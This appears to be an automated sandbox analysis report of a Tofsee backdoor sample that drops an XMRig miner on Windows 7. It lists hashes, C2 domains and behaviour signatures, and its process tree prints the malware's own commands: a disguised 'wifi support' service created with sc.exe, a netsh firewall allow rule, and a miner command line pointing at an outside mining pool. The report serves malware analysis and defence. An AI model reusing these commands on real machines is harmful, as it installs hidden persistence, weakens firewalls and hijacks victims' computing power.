Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    07-02-2023 01:00

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    389e0bbeb62bafda651f89609f6155f1

  • SHA1

    d1a66088ee38a570160c43f294b1e21129a55d0a

  • SHA256

    2f459f27c19518f315b8233ab7af6fdcd04c7c886d11a3117a23e9e28c532e2c

  • SHA512

    ce6f0b55206251d60acd2023f8c363cd07f4840e726e5d245bc765ac6a6ea83da2fe1bf8709ddb81d0baedf94997f584347406100eeb6b8b0752d775508ac0b6

  • SSDEEP

    3072:5nb6blhL62RmhK3XIOAtjtVcT00ppPaO5M4seFd/XFuQjiMTE5jptoia5D:FWhL6l82Be3/5M4scNuQj986ia

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gcieqnyd\
      2⤵
        PID:1880
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hxdkpbfu.exe" C:\Windows\SysWOW64\gcieqnyd\
        2⤵
          PID:828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gcieqnyd binPath= "C:\Windows\SysWOW64\gcieqnyd\hxdkpbfu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gcieqnyd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gcieqnyd
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1956
      • C:\Windows\SysWOW64\gcieqnyd\hxdkpbfu.exe
        C:\Windows\SysWOW64\gcieqnyd\hxdkpbfu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1892

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\hxdkpbfu.exe
        Filesize

        15.0MB

        MD5

        8904e1ce5842b1d28414bb213673c1ba

        SHA1

        310867bfe47252fbf43458f40845ae60f61a92bd

        SHA256

        6071566521926034c1325acb4fab367211ec55be0cab0b47267d82b599376c51

        SHA512

        ea74ab5179ce81fe75a3ce9d810ba5081b6aee45c285bace980fe7c4237613ea4af393f45e59d8d8fd7538b518319cb4bfc185fd20d27040fee261b4fe6c62ae

      • C:\Windows\SysWOW64\gcieqnyd\hxdkpbfu.exe
        Filesize

        15.0MB

        MD5

        8904e1ce5842b1d28414bb213673c1ba

        SHA1

        310867bfe47252fbf43458f40845ae60f61a92bd

        SHA256

        6071566521926034c1325acb4fab367211ec55be0cab0b47267d82b599376c51

        SHA512

        ea74ab5179ce81fe75a3ce9d810ba5081b6aee45c285bace980fe7c4237613ea4af393f45e59d8d8fd7538b518319cb4bfc185fd20d27040fee261b4fe6c62ae

      • memory/564-83-0x0000000000370000-0x0000000000376000-memory.dmp
        Filesize

        24KB

      • memory/564-80-0x0000000001900000-0x0000000001B0F000-memory.dmp
        Filesize

        2.1MB

      • memory/564-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/564-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/564-98-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/564-95-0x00000000003E0000-0x00000000003E7000-memory.dmp
        Filesize

        28KB

      • memory/564-92-0x0000000005930000-0x0000000005D3B000-memory.dmp
        Filesize

        4.0MB

      • memory/564-89-0x00000000003D0000-0x00000000003D5000-memory.dmp
        Filesize

        20KB

      • memory/564-86-0x0000000000380000-0x0000000000390000-memory.dmp
        Filesize

        64KB

      • memory/564-73-0x0000000000089A6B-mapping.dmp
      • memory/564-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/828-59-0x0000000000000000-mapping.dmp
      • memory/1276-63-0x0000000000000000-mapping.dmp
      • memory/1504-54-0x0000000075FB1000-0x0000000075FB3000-memory.dmp
        Filesize

        8KB

      • memory/1504-58-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1504-67-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1504-56-0x00000000005DC000-0x00000000005F1000-memory.dmp
        Filesize

        84KB

      • memory/1504-66-0x00000000005DC000-0x00000000005F1000-memory.dmp
        Filesize

        84KB

      • memory/1504-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1712-75-0x000000000028C000-0x00000000002A1000-memory.dmp
        Filesize

        84KB

      • memory/1712-78-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1880-55-0x0000000000000000-mapping.dmp
      • memory/1892-106-0x000000000015259C-mapping.dmp
      • memory/1892-101-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/1892-99-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/1956-65-0x0000000000000000-mapping.dmp
      • memory/1988-62-0x0000000000000000-mapping.dmp
      • memory/2040-61-0x0000000000000000-mapping.dmp